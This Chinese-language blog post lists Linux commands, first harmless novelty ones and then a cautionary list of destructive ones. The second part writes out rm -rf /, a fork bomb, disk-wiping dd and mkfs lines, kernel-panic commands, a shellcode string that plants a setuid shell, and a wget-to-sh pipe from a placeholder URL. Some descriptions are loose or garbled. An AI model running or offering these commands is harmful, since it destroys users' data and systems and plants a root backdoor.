Linux 新手必會的21條命令合集

Linux 新手必會的21條命令合集

Linux初期的學習曲線有些陡峭,所以作為一名初學者,學會自娛自樂是非常重要的。先來看13個有趣的小命令。

1.sl 命令

你會看到一輛火車從屏幕右邊開往左邊。。。。。。

安裝 $ sudo apt-get install sl運行 $ sl

命令有 -alFe幾個選項,

-a An accident seems to happen. You'll feel pity for people who cry for help.-l shows little one.-F It flies.-e Allow interrupt by Ctrl+C.
Linux 新手必會的21條命令合集

可以給別人來個惡作劇,他一敲ls,不知道的肯定很有效果

$alias ls=sl

2.fortune 命令

輸出一句話,有笑話,名言什麼的 (還有唐詩宋詞sudo apt-get install fortune-zh)

安裝 $sudo apt-get install fortune運行 $fortune
Linux 新手必會的21條命令合集

3.cowsay 命令

用ASCII字符打印牛,羊等動物,還有個cowthink,這個是奶牛想,那個是奶牛說,哈哈,差不多

安裝 $sudo apt-get install cowsay運行 $cowsay "I am not a cow, hahaha"
Linux 新手必會的21條命令合集

$cowsay -l 查看其它動物的名字,然後-f跟上動物名,如$cowsay -f tux "坑爹啊"
Linux 新手必會的21條命令合集

還可以讓cowsay說出fortune的內容,就像這樣:

$fortune | cowsay
Linux 新手必會的21條命令合集

4.cmatrix 命令

這個很酷!《黑客帝國》那種矩陣風格的動畫效果

安裝 $ sudo apt-get install cmatrix運行 $cmatrix
Linux 新手必會的21條命令合集

5.figlet 、toilet命令

藝術字生成器,由ASCII字符組成,把文本顯示成標題欄。此外還有banner這個命令

安裝 $sudo apt-get install figlet$sudo apt-get install toilet運行 $figlet fuck you !$toilet i love you
Linux 新手必會的21條命令合集

toilet還可以添加顏色,裡面的選項請自己man一下

$ toilet -f mono12 -F gay a girl
Linux 新手必會的21條命令合集

6.oneko 命令

桌面上出現一直喵星人,跟著你的鼠標跑,你不動了它就睡覺。哈哈,這個挺不錯

安裝 $sudo apt-get install oneko運行 $oneko 要關掉這傢伙,按ctrl+c 結束
Linux 新手必會的21條命令合集

7.xeyes 命令

在屏幕上出現一雙眼睛,盯著你的鼠標指針

安裝運行同上

Linux 新手必會的21條命令合集

8.yes 命令

輸出無窮無盡的字符,按ctrl+c結束,如

$yes 我很NB

9.cal 9 1752

cal是打印日曆,不過這個是很奇葩的一個月,

Linux 新手必會的21條命令合集

10.shred

覆蓋搞亂文件,就是文檔粉碎,哈哈,要把你私藏的大片種子和電影銷燬,不被恢復出來,就靠它了

11.factor

分解因數,這個。。。小學生可以用一下

Linux 新手必會的21條命令合集

12.挨個敲下面這一堆, aptitude沒有的可以安裝上

aptitude mooaptitude -v mooaptitude -vv mooaptitude -vvv mooaptitude -vvvv mooaptitude -vvvvv mooaptitude -vvvvvv mooaptitude -vvvvvvv moo 

13.free the fish

桌面遊過一條魚...

alt+f2 輸入free the fish

那麼,繼續!

14.rm -rf /

和大多數 Linux 命令一樣,rm 這個核心命令使用起來非常方便。即便是最頑固的文件它也能幫你刪除。結合起後面兩個參數理解 rm 指令時,你很容易陷入大麻煩:-r,強制遞歸刪除所有子目錄,-f,無需確認,強制刪除所有隻讀文件。如果你在根目錄運行這條指令,將清除整個驅動器上的所有數據。

然後,當文件化為烏有時其中也包括了公司的視頻。幸運的是,在瘋狂敲擊 control -C 後,在刪除太多文件之前,系統管理員中止了這條命令。但這是對你的警告:任何人都可能犯這樣的錯誤。

事實上,絕大部分現代操作系統都會在你犯這些錯誤之前,用一段醒目的文字警告你。然而,如果你在連續敲擊鍵盤時忙碌或是分心,你將會把你的系統鍵入一個黑洞。(LCTT 譯註:幸運的是,可能在根目錄下刪除整個文件系統的人太多了額,後來

rm 默認禁止刪除根目錄,除非——你手動加上 –no-preserve-root 參數!)

這裡有一些更為隱蔽的方式調用 rm -rf。思考一下下面的代碼:

char esp[] __attribute__ ((section(“.text”))) = “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68”“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99”“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7”“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56”“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31”“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69”“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00”“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

這是什麼?這是 16 進制的 rm -rf 寫法。在你不明確這段代碼之前,請千萬不要運行這條命令!

15.fork 炸彈

既然我們討論的都是些奇怪的代碼,不妨思考一下這一行:

:(){ :|: & };:

對你來說,這可能看起來有些神秘,但是我看來,它就是那個臭名昭著的 Bash fork 炸彈。它會反覆啟動新的 Bash shell,直到你的系統資源消耗殆盡、系統崩潰。

不應該在最新的 Linux 系統上做這些操作。注意,我說的是不應該。我沒有說

不能。正確設置用戶權限,Linux 系統能夠阻止這些破壞性行為。通常用戶僅限於分配使用機器可用內存。但是如果作為 root 用戶的你運行了這行命令(或者它的變體 Bash fork 炸彈變體),你仍然可以反覆虐待服務器,直到系統重啟了。

16.垃圾數據重寫硬盤

有時候你想徹底清除硬盤的數據,你應該使用 Darik’s Boot and Nuke (DBAN) 工具去完成這項工作。

但是如果僅僅想讓你的存儲器亂套,那很簡單:

任意命令 > /dev/hda

我說的“任意命令”,是指有輸出的任意命令,比如:

ls -la > /dev/hda

……將目錄列表通過管道送到你的主存儲設備。給我 root 權限和足夠的時間,就能覆蓋整個硬盤設備。這是讓你開始盲目恐慌的一天的好辦法,或者,可以把它變成職業禁入方式。

17.擦除硬盤!

另一個一直受歡迎的擦除硬盤的方式是執行:

dd if=/dev/zero of=/dev/hda

你可以用這條命令寫入數據到你的硬盤設備。dd 命令可以從特殊文件中獲取無盡個 0 字符,並且將它全部寫入你的設備。

18./dev/null 的損失

另一個毀滅你的存儲設備的方式,運行 mv / /dev/null 或者 >mv /dev/null

在前一種情況下,你作為 root 用戶,把整個磁盤數據都送進這個如飢似渴的 /dev/null。在後者,你僅僅把家目錄餵給這個空空如也的倉庫。任何一種情況下,除非還原備份,你再也不會再看見你的數據了。

19.格式化錯了驅動器

有時候你需要使用這一條命令格式化驅動器:

mkfs.ext3 /dev/hda

……它會用 ext3 文件系統格式化主硬盤驅動器。別,請等一下!你正在格式化你的主驅動器!難道你不需要用它?

當你要格式化驅動器的時候,請務必加倍確認你正在格式化的分區是真的需要格式化的那塊而不是你正在使用的那塊,無論它們是 SSD、閃存盤還是其他氧化鐵磁盤。

20.內核崩潰

一些 Linux 命令不能讓你的機器長時間停機。然而,一些命令卻可以導致內核崩潰。這些錯誤通常是由硬件問題引起的,但你也可以自己搞崩。

當你遭遇內核崩潰,重新啟動系統你才可以恢復工作。在一些情況下,這只是有點小煩;在另一些情況下,這是一個大問題,比如說,高負荷運作下的生產環境。下面有一個案例:

dd if=/dev/random of=/dev/portecho 1 > /proc/sys/kernel/paniccat /dev/portcat /dev/zero > /dev/mem

這些都會導致內核崩潰。

絕不要運行你並不瞭解它功能的命令,它們都在提醒我…

21.提防未知腳本

年輕或是懶惰的系統管理員喜歡複製別人的腳本。何必重新重複造輪子?所以,他們找到了一個很酷的腳本,承諾會自動檢查所有備份。他們就這樣運行它:

wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

這會下載該腳本,並將它送到 shell 上運行。

你認為你不會幹那樣的事?告訴我,所有那些 你在 Docker 裡面運行的容器鏡像在幹什麼?你知道它們到底在運行著什麼嗎?我見過太多的沒有驗證容器裡面裝著什麼就運行它們的系統管理員。請不要和他們一樣。

結束

我有沒有遺漏什麼?在 @sjvn 或 @enterprisenxt 上告訴我哪些 Linux 命令在你的“絕不要運行!”的清單上。

http://www.cnblogs.com/sukai/archive/2013/06/08/3127031.html

https://linux.cn/article-9206-1.html

每天會更新論文和視頻,還有如果想學習c++知識在晚上8.00免費觀看這個直播:https://ke.qq.com/course/131973#tuin=b52b9a80


分享到:


相關文章: